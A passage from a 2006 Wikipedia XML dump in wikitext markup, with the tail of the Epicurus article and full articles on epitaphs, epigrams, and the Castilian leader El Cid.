This was later picked up by the democratic thinkers of the [[French Revolution]], and others, like [[John Locke]], who wrote that people had a right to &quot;life, liberty, and property.&quot;  To Locke, one's own body was part of their property, and thus one's right to property would theoretically guarantee safety for their persons, as well as their possessions.

This triad was carried forward into the American freedom movement and [[Declaration of Independence (United States)|Declaration of Independence]], by American founding father, [[Thomas Jefferson]], as &quot;life, liberty, and the pursuit of happiness.&quot;

Epicurus was also a significant source of inspiration and interest for [[Friedrich Nietzsche]].  Nietzsche cites his affinities to Epicurus in a number of his works, including [[The Gay Science]], [[Beyond Good and Evil]], and his private letters to Peter Gast.  Nietzsche was attracted to, among other things, Epicurus' ability to maintain a cheerful philosophical outlook in the face of painful physical ailments.  Nietzsche also suffered from a number of sicknesses during his lifetime. However, he thought that Epicurus' conception of happiness as freedom from anxiety was too passive and negative.

== External links ==
{{wikiquote}}
*[http://www.gardenofepicurus.com GardenofEpicurus.com] - A Directory of Epicurean Gardens, FAQ, and information on how to become an Epicurean.
*[http://www.epicurus.info Epicurus.info] - Epicurean Philosophy Online: features classical e-texts &amp; photos of Epicurean artifacts.
*[http://www.epicurus.net Epicurus.net] - Epicurus and Epicurean Philosophy
*[http://www.iep.utm.edu/e/epicur.htm Internet Encyclopedia of Philosophy] - Entry for &quot;Epicurus&quot;
*[http://plato.stanford.edu/entries/epicurus/ Stanford Encyclopedia of Philosophy] - Entry for &quot;Epicurus&quot;
*[http://www.societasviaromana.org/Collegium_Philosophicum/epicurus.php Epicurus &amp; Lucretius] - Small article by &quot;P. Dionysius Mus&quot;
*[http://groups.yahoo.com/group/epicureangroup/ The Epicurean Group] - Yahoo Discussion Group
* ''[http://www.marxists.org/archive/marx/works/1841/dr-theses/index.htm The Difference Between the Democritean and Epicurean Philosophy of Nature]'' - [[Karl Marx]]’s doctoral thesis.

[[Category:Ancient Greeks]]
[[Category:341 BC births]]
[[Category:270 BC deaths]]
[[Category:Hellenistic philosophers]]

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  </page>
  <page>
    <title>Epitaph</title>
    <id>10074</id>
    <revision>
      <id>41733022</id>
      <timestamp>2006-03-01T10:24:17Z</timestamp>
      <contributor>
        <username>Darklion 008</username>
        <id>1010749</id>
      </contributor>
      <text xml:space="preserve">''See [[Epitaph Records]] for the record label''

An '''epitaph''' (literally: &quot;''on the gravestone''&quot; in ancient [[Greek language|Greek]]) is text honoring the dead, most commonly inscribed on a tombstone or plaque. Traditionally an epitaph is in verse, but there are exceptions.

Some [[poets]] have been known to compose their own epitaphs prior to their death.

==Famous Epitaphs==
''O xein', angellein Lakedaimoniois hoti täde/''&lt;br /&gt;
''keimetha tois keinon rhämasi peithomenoi!''&lt;br /&gt;

''Go tell the Spartans, stranger passing by''&lt;br /&gt;
''that here, obedient to their laws we lie'' —[[Simonides of Ceos|Simonides]]'s [[epigram]] at [[Battle of Thermopylae|Thermopylae]]

''When You Go Home, Tell Them Of Us And Say,''&lt;/br&gt; 
''For Their Tomorrow, We Gave Our Today''  

The [[Kohima]] Epitaph which is on the [[World War II]] War Memorial for the Allied fallen at the [[battle of Kohima]]. Attributed to John Maxwell Edmonds (1875-1958), an  English classicist, suggested for the memorial by Major John Etty-Leal, the GSO II of the 2nd Division, another classical scholar.

''Hodie mihi, cras tibi'' - (Famous Latin epitaph: mine today, yours tomorrow).

''No greater friend, no worst enemy'' - Lucius Cornelius Sulla, Roman Dictator

''Good friend, for Jesus' sake forbear, ''&lt;/br&gt; 
''To dig the dust enclosed here. ''&lt;/br&gt; 
''Blest be the man that spares these stones,'' &lt;/br&gt; 
''But cursed be he that moves my bones.'' — (From the grave of [[William Shakespeare]]).

''Nature, and nature's laws,''&lt;br /&gt;
''Lay hid in night,''&lt;br /&gt;
''God said, let Newton be!''&lt;br /&gt;
''And all was light.'' — from the grave of [[Isaac Newton|Newton]], a poem from [[Alexander Pope]]

''SWIFT has sailed into his rest;''&lt;br /&gt;
''Savage indignation there''&lt;br /&gt;
''Cannot lacerate his breast.''&lt;br /&gt;
''Imitate him if you dare,''&lt;br /&gt;
''World-besotted traveller; he''&lt;br /&gt;
''Served human liberty.'' — by and for [[Jonathan Swift]], translated from latin by [[William Butler Yeats]]

''Stranger by the roadside, do not smile''&lt;br /&gt;
''When you see this grave, though it is only a dog's,''&lt;br /&gt;
''My master wept when I died, and his own hand''&lt;br /&gt;
''Laid me in earth and wrote these lines on my tomb.'' — (unknown origin)

''This Grave''&lt;br /&gt;
''contains all that was mortal''&lt;br /&gt;
''of a''&lt;br /&gt;
''YOUNG ENGLISH POET''&lt;br /&gt;
''who''&lt;br /&gt;
''on his Death-Bed''&lt;br /&gt;
''in the Bitterness of his heart''&lt;br /&gt;
''at the Malicious Power of his enemies''&lt;br /&gt;
''desired these words to be engraven on his Tomb Stone''&lt;br /&gt;
''&quot;HERE LIES ONE''&lt;br /&gt;
'' WHOSE NAME WAS WRIT IN WATER&quot;''&lt;br /&gt;
''FEB 24 1821'' — [[John Keats]]

''Here lies one of the most intelligent animals who ever appeared on the face of the earth.'' — ([[Benito Mussolini]])

''Never Born, Never Died—Only visited this planet Earth between December 11, 1931 and January 19,1990.'' — ([[Rajneesh]])

''That's all folks!'' — ([[Mel Blanc]])

''[[Love Will Tear Us Apart]]'' — ([[Ian Curtis]])

''I hope for nothing. I fear nothing. I am free.''(translated) - ([[Nikos Kazantzakis]])

''Dúirt mé leat go raibh mé breoite'' — ([[Spike Milligan]], translation: &quot;I told you I was ill&quot;)

[[J. R. R. Tolkien]] is buried next to his [[Edith Bratt|wife]], and on their tombstone the names &quot;''[[Beren]]''&quot; and &quot;''[[Lúthien]]''&quot; are engraved, a fact that sheds light on the love story of Beren and Lúthien which is recorded in several versions in his works.

''3.14159265358979323846264338327950288...'' - [[Ludolph van Ceulen]], he was so proud of his achievement, computing π (pi) to 35 digits, that he ordered it to be inscribed on his tombstone.

''Finally I am becoming stupider no more'' - [[Paul Erdos]], Hungarian mathematician.

==Other Epitaphs==
''Beware ye people passing by,''&lt;br /&gt;
''As you are now, so once was I,''&lt;br /&gt;
''And as I am now, so must you be,''&lt;br /&gt;
''Prepare for death and follow me.'' — (Birdville Cemetary, Haltom City, Texas)

&lt;!--

==Unusual events regarding epitaths==
In 2004, a teacher in [[northwestern China]] was put under investigation for getting his students write their own epitaphs. While the excerise was to develop students' values, and make them think about life, talking about death while still alive is a Chinese [[taboo]]. [http://www.ananova.com/news/story/sm_1205330.html?menu=]

(Ananova has been known to pull stories out of their rear ends, so I say this goes until it can be confirmed by another independent news source. [[User:GusGus|Gus]] 05-Jan-6 7:20 PM EST)

--&gt;

==See also==
* [[Chronogram]]
* [[Epigraph]]

==External links==
* [http://collections.iwm.org.uk/server/show/ConWebDoc.1261 What is the Kohima Epitaph?] 
* [http://www.burmastar.org.uk/epitaph.htm Kohima Epitaph]


[[Category:Death customs]]
[[Category:Inscriptions]]

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  <page>
    <title>Epigram</title>
    <id>10075</id>
    <revision>
      <id>42034522</id>
      <timestamp>2006-03-03T10:00:06Z</timestamp>
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        <username>Tomisti</username>
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      <minor />
      <comment>[[fi:Epigrammi]]</comment>
      <text xml:space="preserve">An '''epigram''' is a short [[poem]] with a clever twist at the end or a concise and witty statement. They are among the best examples of the power of poetry to compress insight and [[wit]].

==Ancient Greek==

The epigram originated in Greece as a form for inscription on a monument or grave, hence the word 'epigram' from the Greek words meaning 'to write on'. Epigrams were thus much shorter than [[lyric poetry]] which developed from forms designed for performance accompanied by musical instruments.

One such monument inscription is [[Simonides of Ceos|Simonides's]] [[epitaph]] for the [[Sparta|Spartan]] dead after the [[Battle of Thermopylae]],which can be found in [[Herodotus]]' work [[The Histories]] (7.228), to the Spartans:

:::{{polytonic|&amp;#8038; &amp;#958;&amp;#949;&amp;#8150;&amp;#957;', &amp;#7936;&amp;#947;&amp;#947;&amp;#8051;&amp;#955;&amp;#955;&amp;#949;&amp;#953;&amp;#957; &amp;#923;&amp;#945;&amp;#954;&amp;#949;&amp;#948;&amp;#945;&amp;#953;&amp;#956;&amp;#959;&amp;#957;&amp;#8055;&amp;#959;&amp;#953;&amp;#962; &amp;#8005;&amp;#964;&amp;#953; &amp;#964;&amp;#8135;&amp;#948;&amp;#949;}}
:::(O xein', angellein Lakedaimoniois hoti täde/
:::{{polytonic|&amp;#954;&amp;#949;&amp;#8055;&amp;#956;&amp;#949;&amp;#952;&amp;#945; &amp;#964;&amp;#959;&amp;#8150;&amp;#962; &amp;#954;&amp;#949;&amp;#8055;&amp;#957;&amp;#969;&amp;#957; &amp;#8165;&amp;#8053;&amp;#956;&amp;#945;&amp;#963;&amp;#953; &amp;#960;&amp;#949;&amp;#953;&amp;#952;&amp;#8057;&amp;#956;&amp;#949;&amp;#957;&amp;#959;&amp;#953;}}.
:::keimetha tois keinon rhämasi peithomenoi.)

:Which to keep the poetic context can be translated as:

:::Go tell the Spartans, stranger passing by
:::that here, obedient to their laws we lie

:or more literally as:

:::Oh foreigner, tell the [[Lacedaemon|Lacedaemonians]]
:::that here we lie, obeying those words.

Epigrams were not defined by their subject matter, however. The largest surviving collection, the [[Greek Anthology]], contains poems on love, inscriptions dedicating gifts to the [[Greek religion|gods]], moral or philosophical advice, and invective. Nor were epigrams required to be witty (though many, especially invectives and satirical ones, were). The defining characteristics of an epigram were its length, often restricted to a single couplet, and its [[meter (poetry)|meter]], almost always the [[elegiac couplet]].

Many noted Greek writers composed epigrams, including some, who, like [[Plato]], [[Solon]] and [[Aeschylus]], were more famous for their work in other genres. The 'Anthology' contains examples from very early Greek history all the way into the [[Byzantine Empire|Byzantine]] period, and even some examples by [[Christian]]s. Epigrams were also written by women and other members of the less privileged classes.  [[Nicarchus]] and [[Martial]] are two epigrammatists from the first century AD.

==Ancient Roman==

Roman epigrams owe much to their Greek predecessors and contemporaries. Roman epigrams, however, were more often satirical than Greek ones, and at times used obscene language for effect. Latin epigrams could be composed as inscriptions or [[graffiti]], such as this one from [[Pompeii]], which exists in several versions and seems from its inexact meter to have been composed by a less educated person. Its content, of course, makes it clear how popular such poems were:

::Admiror, O paries, te non cecidisse ruinis
::qui tot scriptorum taedia sustineas.

::I'm astonished, wall, that you haven't collapsed into ruins,
::since you're holding up the weary verse of so many poets.

However, in the literary world, epigrams were most often gifts to patrons or entertaining verse to be published, not inscriptions. Many Roman writers seem to have composed epigrams, including [[Domitius Marsus]], whose collection 'Cicuta' (now lost) was named after the poisonous [[hemlock]] tree for its biting wit, and [[Lucan (poet)|Lucan]], more famous for his epic [[Pharsalia]]. Authors whose epigrams survive include [[Catullus]], who wrote both invectives and love epigrams-- his poem 85 is one of the latter.

::Odi et amo. Quare id faciam fortasse requiris.
::     Nescio, sed fieri sentio, et excrucior.

:: I hate and I love. Perhaps you're asking how I do this?
:: I don't know, but I feel it happening, and it's torture.

The master of the Latin epigram, however, is [[Martial]]. His technique relies heavily on the satirical poem with a joke in the last line, thus drawing him closer to the modern idea of epigram as a genre. Here he defines his genre against a (probably fictional) critic (in the latter half of 2.77):

::Disce quod ignoras: Marsi doctique Pedonis
::saepe duplex unum pagina tractat opus.
::Non sunt longa quibus nihil est quod demere possis,
::sed tu, Cosconi, disticha longa facis.

::Learn what you don't know: one work of (Domitius) Marsus or learned Pedo
::often stretches out over a doublesided page.
::A work isn't long if you can't take anything out of it,
::but you, Cosconius, write even a couplet too long.

==Poetic epigrams==
[[Samuel Taylor Coleridge]] said,

:::What is an Epigram? A dwarfish whole;
:::Its body brevity, and wit its soul.

:::Little strokes
:::Fell great oaks.
::: &amp;mdash; [[Benjamin Franklin]]


:::Here lies my wife:  here let her lie!
:::Now she's at rest &amp;mdash; and so am I. 
:::&amp;mdash; [[John Dryden]]


:::I am His Highness' dog at Kew;
:::Pray tell me, sir, whose dog are you?
::: &amp;mdash; [[Alexander Pope]]


:::I'm tired of Love: I'm still more tired of Rhyme.
:::But Money gives me pleasure all the time.
::: &amp;mdash; [[Hilaire Belloc]]

Some contemporary epigrams are collected at the [[Light Verse Resource Center]]. www.ddaze.com/04lvResource/zEpigram.htm




==Non-poetic epigrams==
Occasionally, simple and witty statements, though not poetical per se, may also be considered epigrams, such as one attributed to [[Oscar Wilde]]: &quot;I can resist everything except temptation.&quot; [[Dorothy Parker]]'s witty one-liners can be considered epigrams. Also, [[Macdonald Carey]]'s legendary line &quot;Like sands through the hourglass, so are the days of our lives&quot; can be considered an epigram, as the meaning of life is concisely explained in a simile.

Another good example of a possible epigram,&quot;The only way to get rid of a temptation is to yield to it.&quot;

The term is sometimes used for particularly pointed or much-quoted [[quotation]]s taken from longer works.

==See also==
An [[epigraph]] is an inscription on a building or a quotation used to introduce a written work.

An [[epitaph]] is written about the dead.

==Other Definitions==
[http://www.epigram.org.uk Epigram] is the independent student [[newspaper]] of the [[University of Bristol]]. It is published every two weeks during term time, and covers [[Bristol]] student [[news]] and [[sport]]. It has an all-new features section, E2, and also contains an arts supplement.

The [[Epigram programming language]] is a [[functional programming language]] with [[dependent types]] designed for developing programs which include a proof of the code's correctness alongside the code.

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  </page>
  <page>
    <title>El Cid</title>
    <id>10076</id>
    <revision>
      <id>41747977</id>
      <timestamp>2006-03-01T13:29:03Z</timestamp>
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      <minor />
      <comment>robot  Adding: hu</comment>
      <text xml:space="preserve">[[Image:Spain Burgos statue the Cid.jpg|350px|thumb|right|Statue of El Cid Campeador in [[Burgos]] (Spain)]]

'''Rodrigo''' '''Díaz de Vivar''' (c. 1044 &amp;ndash; July 1099), [[nickname]]d '''El Cid Campeador''', was a [[Kingdom of Castile|Castilian]] military and political leader in medieval [[Spain]]. Born of the Spanish nobility, El Cid was educated in the royal Castilian court and became an important [[general]] and administrator, fighting against the [[Moors]] in the early [[Reconquista]]. Later [[exile]]d by [[Alfonso VI of Castile|King Alfonso VI]], El Cid left service in Castile and worked as a [[mercenary]]-general for other rulers, both Moor and [[Christian]]. Late in life, El Cid captured the [[Mediterranean Sea|Mediterranean]] coastal city of [[Valencia]], ruling it until his death in 1099. 

&quot;El Cid Campeador&quot; is a compound of two separate sobriquets. The &quot;El Cid&quot; is derived from the word ''al-sidi'' in the [[Andalusi Arabic]] [[Andalusian dialect|dialect]] (from the [[Arabic language|Arabic]] ''sayyid''&amp;mdash;&quot;sir&quot; or &quot;lord,&quot; a title of respect) while the title ''el campeador'' (the champion) was granted by his Christian admirers. These titles reflected the great esteem El Cid had among both [[Moors]] and [[Christians]], as well as his fighting ability; Henry Edwards Watts wrote that ''el campeador'' &quot;[m]eans in Spanish something more special than &quot;champion&quot; ... A ''campeador'' was a man who had fought and beaten the select fighting-man of the opposite side in the presence of the two armies.&quot; 

&quot;El Cid&quot; was pronounced /el tsið/ ([[International Phonetic Alphabet|IPA]]) in medieval Castilian, but /el θið/ in modern standard Spanish (the ''c'' like the ''th'' in &quot;thin&quot; and the ''d'' like the ''th'' in &quot;then&quot;.)

==Early life==
The exact date of El Cid's birth is unknown. Based on his participation in 1063 at the [[Battle of Graus]], however, most historians believe that El Cid was born between 1043 and 1045, in [[Vivar]] (Bivar), a small town about six miles north of [[Burgos]], the capital of Castile. Historical records show that El Cid's father was Diego Laínez, who was part minor nobility (''infanzones'') of [[Castile]]. Diego Laínez was a [[Noble court|courtier]], [[Bureaucracy|bureaucrat]], and [[cavalry]]man who had fought in several battles. Despite the fact in later years the peasants would consider him one of their own, El Cid's mother's family was [[Aristocracy|aristocratic]]. However, his relatives were not major court officials: documents show that El Cid's paternal grandfather, Lain Nuñez, only confirmed five documents of [[Ferdinand I of Leon|Ferdinand I]]'s; his maternal grandfather, Rodrigo Alvarez, certified only two of [[Sancho II of Castile|Sancho II]]'s; the Cid's own father confirmed only one. This seems to indicate that El Cid's family was not comprised of ''major'' court officials.

One well-known legend about the Cid describes how he acquired his famous war-horse, the  white [[Horse|stallion]] [[Babieca]]. According to this story, Rodrigo's godfather, Pedro El Grande, was a monk at a [[Carthusian]] [[monastery]]. Pedro's coming-of-age gift to El Cid was his pick of a horse from an [[Andalusia]]n herd. El Cid picked a horse that his godfather thought was a weak, poor choice causing the monk to exclaim &quot;Babieca!&quot; (stupid!) Hence, it became the name of El Cid's horse. Today, Babieca appears in multiple works about El Cid.

El Cid was educated in the Castilian royal court, serving the [[prince]] and future king Sancho II, the son of [[Ferdinand I of Castile|King Ferdinand I]] (&quot;the Great&quot;). When Ferdinand died in 1065, he had continued his father's goal of enlarging his territory, conquering the [[Christian]] and the [[Moorish]] cities of [[Zamora]] and [[Badajoz]].

By this time, the Cid was a full adult. He had, in 1067, fought alongside Sancho against the Moorish stronghold of [[Zaragoza]] (Saragossa), making its [[emir]] [[al-Muqtadir (Zaragoza)|al-Muqtadir]] a vassal of Sancho. In the spring of 1063, he fought in the Battle of Graus, where Ferdinand's half-brother, [[Ramiro I of Aragon]], had laid siege to the Moorish town of [[Graus]] which was in Zaragozan lands. Al-Muqtadir fought against the Aragonese, accompanied by a Castillian troops, which included the Cid. The party would emerge victorious, Ramiro I was killed, and the Aragonese fled the field. One legend has said that during the conflict El Cid killed an Aragonese knight in single combat, giving him the honorific title of &quot;El Cid Campeador&quot;.

==Service under Sancho==
===Early military victories=== 
As a resident of Castile, the Cid was now a vassal of Sancho. Sancho believed that he, as the King's eldest son, was entitled to inherit all of his father's lands. Once he conquered Leon and Galicia, he began making war on his brothers and sisters.

At this time some say that the Cid, having proved himself a loyal and brave knight against the Aragonese, was appointed as the ''armiger regis'', or ''alferez'' (standard-bearer). This position entailed commanding the armies of Castile.

===Victories over Alfonso and Sancho's death===
After defeating Alfonso at Llantada on the Leonese-Castillian border in 1068 and Golpejera over the [[Carrión River]] in 1072, Sancho forced his brother to flee to his Moorish city of [[Toledo, Spain|Toledo]] under Al-Ma'mun. Toro, the city of Sancho's sister Elvira, fell easily, and for a while it seemed as though Sancho was unbeatable. But in a siege of [[Zamora]], Urraca's city, he was assassinated on [[October 7]], [[1072]].

==Service under Alfonso==
Much speculation abounds about Sancho's death. Most say that the assassination was a result of a pact between Alfonso and Urraca; some even say they had an incestuous relationship. In any case, since Sancho died unmarried and childless, all of his power passed to his brother, Alfonso&amp;mdash;the very person he had fought against.

Almost immediately, Alfonso was recalled from exile in Toledo and took his seat as king of Leon and Castile. While he was deeply suspected in Castile (probably correctly) for being involved in Sancho's murder, a legend states that the Castillian nobility, led by the Cid and a dozen &quot;oath-helpers&quot;, forced Alfonso to swear publicly in front of [[St. Gadeas]]'s Church in [[Burgos]] that he did not participate in the plot to kill his brother. This underscores the Cid's bravery, for none of the other nobles would dare do this for fear of offending their new king. This oath did little in settling the Castillian suspicions, and much animosity existed between Castile (and the Cid) and Leon (and Alfonso). The Cid's position as ''armiger regis'' was taken away as well; it was given to the Cid's enemy, Count [[García Orduñez]].  Later in the year, Alfonso's younger brother, García, returned to Galicia under the false pretenses of a conference, and he was imprisoned for 18 years until his death.

===Battle tactics===
During his campaigns, the Cid often ordered that books by classic [[Ancient Rome|Roman]] and [[Greek literature|Greek]] authors on military themes be read in loud voices to him and his troops, both for entertainment and inspiration during battle. El Cid's army had a novel approach to planning strategy as well, holding what might be called [[brainstorming]] sessions before each battle to discuss tactics. They frequently used unexpected strategies, engaging in what modern generals would call [[psychological warfare]]; waiting for the enemy to be paralyzed with terror and then attacking them suddenly, distracting the enemy with a small group of soldiers, etc. El Cid had a humble personality and frequently accepted or included suggestions from his troops. He remained open to input from his soldiers and to the possibility that he himself was capable of error. The man who served him as his closest adviser was his nephew, [[Minaya Alvar Fánez]].

===Marriage and family life=== 
The Cid was married in July 1074 to Alfonso's kinswoman Jimena de Gormaz (spelled Ximena in [[Old Castillian]]), the daughter of the Count of Oviedo. This was probably on Alfonso's suggestion, a move that he probably hoped would improve relations between him and the Cid. Together the Cid and Ximena had three children. Their daughters, Cristina and María, both married high nobility; Cristina, to [[Ramiro]], lord of Monzon and bastard descendant of [[kings of Navarre]]; María, first to Infante of Aragon and second to [[Ramón Berenguer III, Count of Barcelona|Ramón Berenguer III]], count of [[Barcelona]]. The Cid's son, Diego Rodríguez, was killed while fighting against the invading Muslim Almoravids from [[North Africa]] at the [[Battle of Consuegra]] (1097). His own marriage and that of his daughters increased his status by connecting the Cid to royalty; even today, living monarchs descend from El Cid, through the lines of Navarre and Foix.

===Service as administrator=== 
He was a cultivated man, having served Alfonso as a judge. He kept in life a personal archive with copies of the letters he mailed and important diplomas he signed as part of his cooperation in the king's administration.

==Exile==
In the [[Battle of Cabra]] (1079), the Cid rallied his troops and turned the battle into a rout of Emir Abd Allah of [[Granada]] and his ally García Ordóñez. However, the Cid's unauthorized expedition into Granada greatly angered Alfonso, and [[May 8]], [[1080]], was the last time the Cid confirmed a document in King Alfonso's court. This is the generally given reason for the Cid's exile, although several others are plausible and may have been contributing factors: jealous nobles turning Alfonso against the Cid, Alfonso's own animosity towards the Cid, an accusation of pocketing some of the tribute from Seville, and what one source describes as the Cid's &quot;penchant&quot; towards insulting powerful men.  

However, the exile was not the end of the Cid, either physically or as an important figure. In 1081, the Cid, now a mercenary, offered his services to the Moorish king of the northeast Spanish city of Zaragosa, [[Yusuf al-Mutamin]], and served both him and his successor, [[Al-Mustain II]]:
:''&quot;At first he went to Barcelona where [[Ramón Berenguer II, Count of Barcelona|Ramón Berenguer II]] (1076-1082) and [[Berenguer Ramón II, Count of Barcelona|Berenguer Ramón II]] (1076-1097), refused his offer of service. Then he journeyed to Zaragoza where he received a warmer welcome. That kingdom was divided between [[Yusuf al-Mutamin|al-Mutamin]] (1081-1085) who ruled Zaragoza proper, and his brother al-Mundhir, who ruled [[Lérida]] and [[Tortosa]]. The Cid entered al-Mutamin's service and successfully defended Zaragoza against the assaults of al-Mutamdhir, Sancho I of Aragón, and Ramón Berenguer II, whom he held captive briefly in 1082.&quot;'' - O'Callaghan

In 1086, the great [[Almoravid]] invasion of Spain through and around [[Gibraltar]] began. The Almoravids, [[Berber]] residents of present-day Morocco and Algeria, led by [[Yusuf ibn Tashfin|Yusef I]], also called Yusef ibn Tushafin or Yusef ibn Tashfin, were asked to help defend the Moors from Alfonso. A great battle took place on Friday, [[October 23]], [[1086]], at [[Sagrajas]] (in Arabic, Zallaqa). The Moorish Andalusians, including the armies of [[Badajoz]], [[Málaga]], [[Granada]], and [[Sevilla|Seville]], defeating a combined army of León, Aragón, and Castile:

:''&quot;The Andalusians encamped separately from the Murabitun. The Christian vanguard (Alvar Fañez) surprised the Andalusian camp before dawn; the men of Seville (Al-Mutamid) held firm but the remaining Andalusians were chased off by the Aragonese cavalry. The Christian main body then attacked the Murabitun, but were held in check by the Lamtuma, and then withdrew to their own camp in response to an outflanking move by ibn Tashufin. The Aragonese returned to the field, didn't like what they saw, and started a withdrawal that became a rout. The Andalusians rallied, and the Muslims drove Alfonso to a small hill. Alfonso and 500 knights escaped in the night to Toledo.&quot;'' - Thomas

Terrified after his crushing defeat, Alfonso recalled the best Christian general from exile &amp;ndash; the Cid. It has been shown that the Cid was at court on July 1087. However, what happened after that is unclear.

==Conquest of Valencia== 
Around this time, the Cid, with a combined [[Christian]] and [[Moorish]] army, began maneuvering in order to create his own fiefdom in the [[Moorish]] [[Mediterranean]] coastal city of [[Valencia]]. Several obstacles lay in his way. First was Ramón Berenguer II, who ruled nearby [[Barcelona]]. In May 1090, the Cid defeated and captured Berenguer in the Battle of [[Tébar]]. Berenguer was later ransomed and his son, Ramón Berenguer III, married the Cid's youngest daughter Maria to ward against future conflicts. 
The Cid gradually came to have more influence on Valencia, then ruled by [[al-Qadir]]. In October 1092 an uprising occurred in Valencia inspired by the city's chief judge, [[Ibn Jahhaf]], and the Almoravids. The Cid began a siege of Valencia. The siege lasted several years; in December 1093 an attempt to break it failed. In May 1094, the siege ended, and the Cid had carved out his own kingdom on the coast of the Mediterranean.
Officially the Cid ruled in the name of Alfonso; in reality, the Cid was fully independent. The city was both Christian and Muslim, and both Moors and Christians served in the army and as administrators. In 1096, Valencia's nine [[mosque]]s were &quot;Christianized&quot;; Jérôme, a [[France|French]] [[bishop]], was appointed archbishop of the city.

On [[July 10]], [[1099]], the Cid passed away in his home. Though his wife Jimena would continue to rule for two more years, an Almoravid siege forced Jimena to seek help from Alfonso. They could not hold the city but both managed to escape. Alfonso ordered the city burned to prevent it from falling into the hands of the Moors. Valencia was captured by [[Masdali]] on [[May 5]], [[1109]] and would not become a Christian city again  for over 125 years. Jimena fled to Burgos with the Cid's body. Originally buried in Castile in the monastery of San Pedro de Cardeña, his body now lies at the center of the impressive [[cathedral of Burgos]].

==Legend==
Legend has it that after El Cid died he was strapped onto his horse and ridden into battle.  The enemy was so afraid of the invincible rider that they all went back to their boats and El Cid won the battle dead on a horse.

==Tizona==
El Cid's [[sword]] &quot;[[Tizona]]&quot; can still be seen in the Army Museum (Museo del Ejército) in [[Madrid]]. Soon after his death it became one of the most precious possessions of the Castilian royal family. In 1999, a small sample of the blade was subjected to metallurgical analysis which partially confirmed its provenance as probably having been made in Moorish [[Córdoba, Spain|Cordoba]] in the eleventh century, although the report does not specify whether the larger-scale composition of the blade identifies it as [[Damascus steel]].

[[Image:Dvd-cover-el-cid-movie-1961.jpg|right|thumb|Modern audiences may know a romanticized story of the Cid from the 1961 film starring Charlton Heston as the title character.]]

==El Cid in literature, film and other media==
Literally dozens of works were written about the Cid, which include ''[[Le Cid]]'' by French playwright [[Pierre Corneille]] in 1636; and the three-part Spanish [[cantar de gesta]] [[epic poetry|epic]] ''[[Cantar de Mio Cid]]'', also called ''The Lay of the Cid'', ''The Song of the Cid'', or ''El Poema del Cid''. This work may have also been one of the many sources for [[Don Quixote]]'s early inspiration: despite his steed Rocinante being less than capable, Don Quixote believes him to be better than Babieca.

Jules (Émile Frédéric) [[Massenet]]'s 1885 opera ''[[Le Cid]]'' is a favorite of [[Plácido Domingo]], who has sung the role of Rodrigue (Rodrigo) many times since first performing it at [[Carnegie Hall]] in 1976. For more on Placido Domingo's many performances of the role see [http://www.tenorissimo.com/domingo/Roles/cid-dates.htm]

In the early 80s, there was an animated series called &quot;Ruy, el pequeño Cid&quot;, portraying the (fictional) adventures of El Cid as a child.

There have been modern-day films about the Cid, such as ''[[El Cid (movie)|El Cid]]'' (1961, starring [[Charlton Heston]] and [[Sophia Loren]]) and ''El Cid (La Leyenda)'' (2003, animated).

The [[Guy Gavriel Kay]] fantasy novel ''[[The Lions of Al Rassan]]'', set in an [[alternate universe]] version of medieval Spain, features a main character who is clearly modeled on El Cid.

''[[Age of Empires II: The Conquerors]]'' has a campaign featuring El Cid as a playable character.

In [[Final Fantasy Tactics Advance]] there is a [[sword]] called El Cid.

In [[Oz]] A TV show on HBO, Raoul Hernandez, leader of El Norte is also refered to as [[El Cid]], due to his leadership skills.

==Bibliography== 

* [http://newadvent.org/cathen/03769a.htm &quot;El Cid&quot;. The Catholic Encyclopedia.]
* [http://www.bartleby.com/65/ci/Cid.html &quot;Cid Campeador&quot;. The Columbia Encyclopedia.] 6th ed. New York: Columbia University Press, 2001.
* [http://www.bartleby.com/65/fe/Ferdi1Sp.html &quot;Ferdinand I, Spanish king of Castile and León&quot;. The Columbia Encyclopedia.] 6th ed. New York: Columbia University Press, 2004.
* [http://www.bartleby.com/65/ra/Ramiro1.html &quot;Ramiro I&quot;. The Columbia Encyclopedia.] 6th ed. New York: Columbia University Press, 2004.
* [http://www.bartleby.com/65/sa/Sancho2-Nav.html &quot;Sancho III, king of Castile&quot;. The Columbia Encyclopedia.] 6th ed. New York: Columbia University Press, 2004.
* [http://www.bartleby.com/65/sa/Sancho3-Nav.html &quot;Sancho III, king of Navarre&quot;. The Columbia Encyclopedia.] 6th ed. New York: Columbia University Press, 2004.
*  Simon Barton and Richard Fletcher. ''The world of El Cid, Chronicles of the Spanish reconquest''. Manchester: University Press, 2000. ISBN 0-71905225-4 hardback, ISBN 0-71905226-2 paperback.
* Gonzalo Martínez Díez, &quot;El Cid Histórico: Un Estudio Exhaustivo Sobre el Verdadero Rodrigo Díaz de Vivar&quot;, [http://www.editorial.planeta.es Editorial Planeta] (Spain, June 1999). ISBN 84-08-03161-9
*  Richard Fletcher. &quot;The Quest for El Cid&quot;. ISBN 0195069552 
* Kurtz, Barbara E. [http://lilt.ilstu.edu/bekurtz/elcid.htm ''El Cid''.] University of Illinois.
* I. Michael. ''The Poem of the Cid''. Manchester: 1975.
* C. Melville and A. Ubaydli (ed. and trans.), ''Christians and Moors in Spain, vol. III, Arabic sources (711-1501)''. (Warminster, 1992).
* [http://kuhttp.cc.ukans.edu/kansas/medieval/108/lectures/cid-info.html Nelson, Prof. Lynn Harry. &quot;Thoughts on Reading El Cid&quot;.].
* Joseph F. O'Callaghan. ''A History of Medieval Spain.'' Ithaca: Cornell University Press, 1975
* Peter Pierson. ''The History of Spain.'' Ed. John E. Findling and Frank W. Thacheray. Wesport, Connecticut: Greenwood Press, 1999. 34-36. [http://www.questia.com/ Questia Online Library]
* [http://libro.uca.edu/alfonso6/ Bernard F. Reilly. ''The Kingdom of León-Castilla under King Alfonso VI, 1065-1109''] Princeton, New Jersey:  University Press, 1988.
* [http://sunsite.berkeley.edu/OMACL/Cid R. Selden Rose and Leonard Bacon (trans.) ''The Lay of the Cid.''] Semicentennial Publications of the University of California: 1868-1918. Berkeley, CA: University of California Press, 1997. 
* [http://www.balagan.org.uk/war/0711/index.htm Steven Thomas. ''711-1492: Al-Andalus and the Reconquista''.]
* Henry Edwards Watts. &quot;The Story of the Cid (1026-1099)&quot; in ''The Christian Recovery of Spain: The Story of Spain from the Moorish Conquest to the Fall of Grenada (711-1492 AD)''. New York: Putnam, 1894. 71-91. [http://www.questia.com/ Questia Online Library]

== External links ==
* {{gutenberg author| id=Cid | name=El Cid}}

[[Category:Soldiers]]
[[Category:Mercenaries]]
[[Category:Medieval legends]]
[[Category:Moorish Spain]]
[[Category:Spanish generals|El Cid]]
[[Category:Roman Catholics]]
